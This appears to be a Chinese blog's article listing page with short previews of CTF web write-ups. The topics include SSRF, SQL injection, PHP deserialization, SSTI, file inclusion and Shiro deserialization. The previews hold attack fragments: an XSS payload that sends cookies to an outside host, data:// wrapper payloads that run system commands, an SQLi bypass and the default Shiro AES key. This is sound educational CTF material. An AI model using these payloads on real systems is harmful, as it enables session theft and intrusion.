自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(43)
  • 收藏
  • 关注

原创 VNCTF2022 web wp

GameV4.0js/data.js下有段FLAG的base64加密Vk5DVEYlN0JXZWxjb21lX3RvX1ZOQ1RGMjAyMiU3RA==解码就行VNCTF{Welcome_to_VNCTF2022}gocalc0是个xss,没有过滤,前几次一直不行,session解密木得flag,不知道最后怎么又可以了,www<script>window.open('http://ip:7777/'+document.cookie)</script>然后把ses

2022-02-13 20:14:39 18924 2

原创 一道ssrf

前言 : 我最开始写文章的初衷是为了写给自己看的,然后记录自己的学习,也给自己留个回忆吧(感觉这个挺有意思的),然后现在可能慢慢会在意下读者的感受,嘻嘻。。。然后这个题也不难,就是ssrf没学好,然后记录一下,感觉还有点小意思吧。。。那个环境没了,eee就没有截图啦。。。开始是一个平台,然后我们是guest用户,然后提示我们要成admin嘛(下面那个是后面的截图,之前的没了)然后是弱密钥,爆破,密钥为12345,然后改成admin用户,然后跳转到/index.php?comment=http://

2021-11-15 19:18:17 3278

原创 绕过__wakeup,先执行外面的类&天翼杯的eval那个题的一个思考

<?php class A{ public $code = ""; function __call($method,$args){ eval($this->code); } function __wakeup(){ $this->code = ""; } } class B{ function __destruct(){ .

2021-09-25 23:39:56 453

原创 [PwnThyBytes 2019]Baby_SQL

没啥思路,看网页源代码,有个zip,下载/source.zip得到源码index.php<?phpsession_start();foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;foreach ($_POST

2021-09-14 21:54:46 726

原创 [RCTF 2019]Nextphp&&php预加载实现FFI

参考<?phpif (isset($_GET['a'])) { eval($_GET['a']);} else { show_source(__FILE__);}初看题目很简单,然后看了下phpinfo过滤了挺多函数的,命令执行的都过滤了,然后还有open_basedir限制/var/www/html然后可能会想一些绕过disable_function的姿势1.LD_PRELOADmail,putenv,error_log全被禁了2.Apache Mod CGI

2021-09-12 13:30:21 466

原创 CTFHUB web进阶学习

CTFHub之web进阶学习Linux动态加载器ctfhub 动态加载器linux–>ldd命令的介绍就是没有x执行程序的权限,然后我们要执行/readflag来拿到flag,这里就用到了linux动态库链接器/加载器ld-linux.so.2这里我们直接ldd /readflag 列出所需要得动态链接库然后再/lib64/ld-linux-x86-64.so.2 /readflag 即可获取flagphp Bypass disable_functionLD_PRELOADLinu

2021-09-12 11:08:01 1528 1

原创 undefsafe原型链&[网鼎杯 2020 青龙组]notes

感觉是考原型链但还是有点不知道如何下手,呜呜呜呜呜呜。从浅入深 Javascript 原型链与原型链污染[网鼎杯 2020 青龙组]notesvar express = require('express');var path = require('path');const undefsafe = require('undefsafe');const { exec } = require('child_process');var app = express();class Notes {

2021-08-25 15:33:09 675

原创 [WMCTF2020]Make PHP Great Again

预期PHP最新版的小Trick, require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含参考/proc/self/root/是指向/的符号链接payload:?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/roo

2021-08-21 21:43:17 245

原创 [2020 新春红包题]1&ezpop改编题3种解法

<?phperror_reporting(0);class A { protected $store; protected $key; protected $expire; public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $store;

2021-08-18 21:12:28 300

原创 PDO预处理&& [SWPU2019]Web4

PDO场景下的SQL注入探究例题 [SWPU2019]Web4参考由于题目对username进行了严格的检测,所以无法使用单语句进行注入,但是注入点又存在,于是可以尝试进行堆叠注入。(很多师傅可能就因为不友好的回显卡在这里)思路我们但加'报错,然后后面加#正常了,然后我们再尝试了';回显也是正常的,若无法多语句执行,返回页面按理说应该是500,这个正常说明开启了堆叠注入,所以可以联想到想到预处理import requests,timeimport jsondef str_to_hex

2021-08-13 22:25:39 219 1

原创 [SUCTF 2019]EasyWeb hao .htacess绕过 open_basedir绕过

很好的一个题考了很多知识点rce异或绕过.htacess绕过open_basedir绕过<?phpfunction get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir);

2021-08-02 21:48:48 600

原创 phar反序列化学习 [SWPUCTF 2018]SimplePHP

用来入手phar反序列化感觉挺温和的一个题,来两个学习链接,phar的东西就不细说了,这里主讲这个题先知社区——php反序列化拓展攻击详解–pharphp反序列化先测试一下吧,然后是一个文件上传功能,然后一个读文件,做了一些限制然后把得到的文件名字都读一篇flie.php<?php header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php'; ini_s

2021-08-02 00:21:03 381

原创 ImaginaryCTF 2021 web 部分wp

Awkward_Bypass是个sqlite的题,踩了一些坑,像||,ascii都没有,ascii阔以用unicode代替顺便学下SQLlite注入sql注入笔记-sqlite全部核心函数:https://www.sqlite.org/lang_corefunc.html基础知识常用语句及基本结构sqlite因为其比较简易每个db文件就是一个数据库,所以不存在information_schema数据库,但存在类似作用的表sqlite_master。 该表记录了该库下的所有表,索引,表的创建sq

2021-07-29 21:29:28 439

原创 加深PHP魔术方法之__get,__set的理解

从一个难以访问的属性读取数据的时候 __get() 方法被调用向一个难以访问的属性赋值的时候 __set() 方法被调用难以访问包括:(1)私有属性,(2)没有初始化的属性两个用实例,简洁的描述了这两个魔术方法的链接https://www.php.cn/php-weizijiaocheng-450007.htmlhttps://www.cnblogs.com/jiqing9006/p/5411403.html题目<?phphighlight_file(__FILE__);clas.

2021-07-27 12:53:12 142

原创 从一道CTF的非预期解看PHP反斜杠匹配问题

主要是记录一下这个,然后题是 国赛华南半决赛的Magicchar<?phperror_reporting(0);include'flag.php';function Magic($str){ for($i=0; $i<=strlen($str)-1; $i++) { if ((ord($str[$i])<32) or (ord($str[$i])>126)) { die('sorry'); exit; } } $bl

2021-07-23 16:01:50 571

原创 [网鼎杯2018]Unfinish&&CTFSHOW内部赛签到题

CTFSHOW那个是根据[网鼎杯2018]Unfinish改编的,有个源码泄露友好些吧,然后过滤的东西不一样,然后感觉不错就总结下然后扫目录的时候有源码泄露www.zip,下载后读下代码user.php<?phpinclude('db.php');session_start();error_reporting(0);if($_SESSION['u']){$username=$_SESSION['u'];if (is_numeric($username)) { if(strl

2021-07-15 23:10:31 1671 4

原创 CTFSHOW 红包题第二弹 web

利用临时文件的命令执行临时文件的命名规则在上传存储到临时目录后,临时文件命名的规则如下:默认为 php+4或者6位随机数字和大小写字母php[0-9A-Za-z]{3,4,5,6}比如 :phpXXXXXX.tmp 在windows下有tmp后缀,linux没有。PHP上传机制php文件上传时会先将上传的文件保存到upload_tmp_dir该配置目录下,这里为/tmp,而上传页面只负责把该文件拷贝到目标目录。也就是说不管该php页面有没有文件上传功能,我们只要上传了文件,该文件就会被上

2021-07-14 19:27:02 903

原创 胖哈勃 web--NewSql Mysql 8 注入

是个Mysql8 特性,就是之前省赛那个,但是那个没复现到,就把这个当复现了吧。过滤的东西,这个我没记,借鉴其他师傅的空格 select union|and && updatexml extractvalue group|concat have sleep database insert|join where substr char mid > = || like regexp \ if exp题目地址http://47.99.38.177:10084/TABLE ta

2021-07-14 01:33:42 458

原创 Apache Shiro 默认密钥致命令执行漏洞复现

emmmmmmmmm…怎么开头。。。。。。。。。。。大师傅出了个题,就直接用题打shiro复现一下这个漏洞吧,嘻嘻借用大师傅的话shiro反序列化原理就是用shiro密钥默认不变,我们能拿它密钥去AES加密序列化数据,然后在它Cookie的rememberMe字段反序列化来RCE的Shiro框架存在默认密钥:kPH+bIxk5D2deZiIxcaaaA==java -jar shiro_attack-2.0.jar利用链和回显方式都用第一个,然后检测当前利用链。(上图回显则为可用的)然

2021-07-03 19:58:35 1042 1

原创 GKCTF2021 部分复现

misc0.03用VeraCrypt加载输入密码311223313313112122312312313311所以我们需要真正的密码 所以说311223313313112122312312313311应该是有意义的部分通过扫描NTFS得到了secre.txt存在数据流用AlternateStreamView导出 想个密码表而且题目里多次提到3所以考虑将那堆数据按3位一组进行拆分311 223 313 313 112 122 312 312 313 311所有其有两种情况得出的密码

2021-06-28 23:11:00 920

原创 [SUCTF 2018]GetShell

文件上传,写马检查文件内容(内容前五位不检查),内容中有匹配到黑名单的输出illegal char过滤了很多东西,数字,字母都没了还有^也没了,可以通过的字符有:$、(、)、.、;、=、[、]、_、~,然后就是汉字了然后用的~(汉字)对大量汉字进行fuzz测试,得到我们想要的结果,这里直接搬的一位师傅的脚本<?php//Author: m0c1nu7 error_reporting(0);header('Content-Type: text/html; charset=utf-8

2021-06-25 23:42:48 169 2

原创 [MRCTF2020]Ezaudit

记录一下 php伪随机数mt_srand(seed)函数通过分发seed种子,然后种子有了后,靠mt_rand()生成随机数。举个例子,两次随机数生成竟然是存在一样的。简单说就是有规律,然后每次跑出来都是一样的。。。之前的 [GWCTF 2019]枯燥的抽奖 也是这个考点扫出www.zipindex.php<?php header('Content-type:text/html; charset=utf-8');error_reporting(0);if(isset($_P.

2021-06-23 20:15:37 224 2

原创 misc入门 部分wp(持续更新)

misc3查看bpg文件.\bpgview.exe 文件路径下载地址misc11提示:flag在另一张图里。放入tweakpng中,删除一个IDAT块,保存为新的图片。得到flagmisc12提示:flag在另一张图里。做法与11一模一样,然后只是一个一个IDAT块删完然后保存下来得到flag。我映像中应该是删了5次。misc13提示:flag位置在图片末尾。这里把这串字符的十六进制数值复制下来,按照规律选取正确的数值,直接搞不行。。。。。s="631A74B96685738

2021-06-22 00:18:33 1480

原创 [GXYCTF2019]StrongestMind

访问题目,发现需要计算运算式,一千次后给flag然后用的python正则from requests import *import timeimport reurl="http://d7ae47ab-f31d-482d-bf36-7d505b252d2e.node3.buuoj.cn/index.php"s=session()kk = re.compile(r'\d+ [-|+] \d+')r=s.get(url)for i in range(1001): zz=k

2021-06-21 23:40:06 777

原创 CTFshow 文件包含

web78?file=data://text/plain,<?php system("cat flag.php");?>web 79?file=data://text/plain,<?= system("cat flag*");?>web80 hao方法一:远程文件包含往VPS下面写马,然后远程包含:?file=http://118.***.***.***/1.txt方法二:日志文件包含?file=/var/log/nginx/access.log因此往U

2021-06-03 13:16:38 493

原创 CTFSHOW 萌新赛 部分wp

给他 hao开始以为是宽字节注入,然后发现不行,然后git泄露里的hint.phpsprintf和addslashes有个漏洞,从WordPress SQLi谈PHP格式化字符串问题?name=1&pass=%1$' or 1%23右键查看源码,提示flag位置解码出来是flag.txt 是个文件包含漏洞,直接/flag不行,base64被禁了然后用rot13php://filter/read=string.rot13/resource=/flag...

2021-06-03 13:09:14 633

原创 省赛 EZSQL

考察知识点MYSQL8无SELECT盲注无select注入特性第一步是bool盲注,但是没有select,无select注入,使用的是table语句。TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]这个作用是列出表的全部内容,于是就可以利用这个语句来进行注入。首先需要知道表名使用MySQL一些自带的特殊表来盲注表information_schema.TABLESPACES_EXTENSIO

2021-05-18 20:22:10 369 2

原创 ISCC SSTI

先找参数吧,通过信息搜集,参数是xiaodouni 就是小豆泥的英文,这个是暹罗猫的一个名字吧然后直接放两个payload的吧看不懂的可以看一下我以前的文章CTFshow ssti里面讲了思路,这里就不再解释了。{%set pp=(dict(pop=a))|join%}{%set xiahua=(lipsum|select|string|list)|attr(pp)(24)%}{%set g=(lipsum|select|string|list)|attr(pp)(1)%}{%set gb=(x

2021-05-17 23:54:14 2368 3

原创 2021年四川省大学生网络安全技能大赛 部分wp

加密解密easy_pyc在线反编译得到#!/usr/bin/env python# visit http://tool.lu/pyc/ for more informationimport base64def encode(yourflag): s = '' for i in yourflag: x = ord(i) ^ 62 x = x + 6 s += chr(x) return base64.b64enc

2021-05-15 13:46:08 2640 2

原创 ISCC ISCC客服一号冲冲冲(二)

这个题其实是转自Bugku的Login4 (CBC字节翻转攻击)题目有提示密码就是web1 的flag然后登入这里有回显,然后我们换一下下面cookie里的iv和cipher看着就像CBC加密的方式利用的就是CBC解密的特点:前16个密文字符用来解密接下来的一组16个密文,就是说通过改变前16个密文就可以改变下面16个密文解密的结果,这就是字符翻转攻击。具体原理看链接,解释的挺详细。重点来说CBC的加密方式吧,我理解的就是16个一组,然后密文第一组会和初始化向量(就是iv)进行异或运算

2021-05-13 17:10:03 1539 5

原创 津门杯 easysql

第一次遇到ssrf打sql注入吧index.php的代码<?phphighlight_file(__FILE__); session_start(); $url = $_GET['url'] ?? false; if($url) { $a = preg_match("/file|dict/i", $url); if ($a==1) { exit(); } $

2021-05-11 23:07:35 341

原创 CTFshow 36D杯

WUSTCTF_朴实无华_Revenge这个题真的感觉自己没脑子,五一玩傻了。。。。<?phpheader('Content-type:text/html;charset=utf-8');error_reporting(0);highlight_file(__file__);function isPalindrome($str){ $len=strlen($str); $l=1; $k=intval($len/2)+1; for($j=0;$j<$k

2021-05-07 19:13:37 1487 3

原创 CTFshow web14

<?phpinclude("secret.php");if(isset($_GET['c'])){ $c = intval($_GET['c']); sleep($c); switch ($c) { case 1: echo '$url'; break; case 2: echo '@A@'; break; case 555555

2021-04-18 11:31:30 814 1

原创 CTFshow web入门 sql web188-246

web188在where username=0这样的查询中,因为username都会是字符串,在mysql中字符串与数字进行比较的时候,以字母开头的字符串都会转换成数字0,因此这个where可以把所有以字母开头的数据查出来。而password=0的原因在于这里:if($row['pass']==intval($password)){没错。。。弱类型比较,看来查出来的pass也都是以字母开头的,所以password=0可以成功弱类型比较,得到flag。...

2021-04-15 23:51:23 2824 4

原创 MAR & DASCTF 2021

ez_serialize考察反序列化原生类类 描述DirectoryIterator 遍历目录FilesystemIterator 遍历目录GlobIterator 遍历目录,但是不同的点在于它可以通配例如/var/html/www/flag*SplFileObject 读取文件,按行读取,多行需要遍历finfo/finfo_open() 需要两个参数感觉比较好用的就FilesystemIterator和GlobIterator 其他感觉没啥用。。。。题目<?phperro

2021-04-06 17:16:00 582

原创 ctfshow php特性

web115web123$a=$_SERVER['argv'];$c=$_POST['fun'];if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&

2021-04-02 09:57:21 876

原创 [NCTF2019]SQLi

考察点%00截断regexp注入猜测可能过滤了很多东西,经过信息收集发现存在robots.txt,里面写了hint.txt,里面的内容如下:$black_list = “/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|’|=| |in|<|>|-|.|()|#|and|if|database|users|where|table|concat|insert|joi

2021-03-31 16:32:32 577 1

原创 [HarekazeCTF2019]encode_and_encode

<?phperror_reporting(0);if (isset($_GET['source'])) { show_source(__FILE__); exit();}function is_valid($str) { $banword = [ // no path traversal '\.\.', // no stream wrapper '(php|file|glob|data|tp|zip|zlib|phar):', // no

2021-03-30 18:15:44 144

原创 [GYCTF2020]Ezsqli hao

过滤了updatexml,union,然后就想的用盲注吧0^(xxxx)#然后写个脚本跑一下就好暴库主要代码payload="0^(ascii(substr((database()),%d,1))>%d)"%(i,mid)得到give_grandpa_pa_pa_pa然后后面爆表的时候就难搞了,过滤了挺多东西的,information,innodb_table_stats,啥的都过滤,然后可以用代替sys.x$schema_flattened_keyssys.x$schema_

2021-03-30 13:10:24 192

原创 CTFSHOW SSTI web369-web372 拼接绕过

知识点:()|select|string结果如下<generator object select_or_reject at 0x0000022717FF33C0>(()|select|string)[24]~(()|select|string)[24]~(()|select|string)[15]~(()|select|string)[20]~(()|select|string)[6]~(()|select|string)[18]~(()|select|string)[18

2021-03-28 11:54:14 1124

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除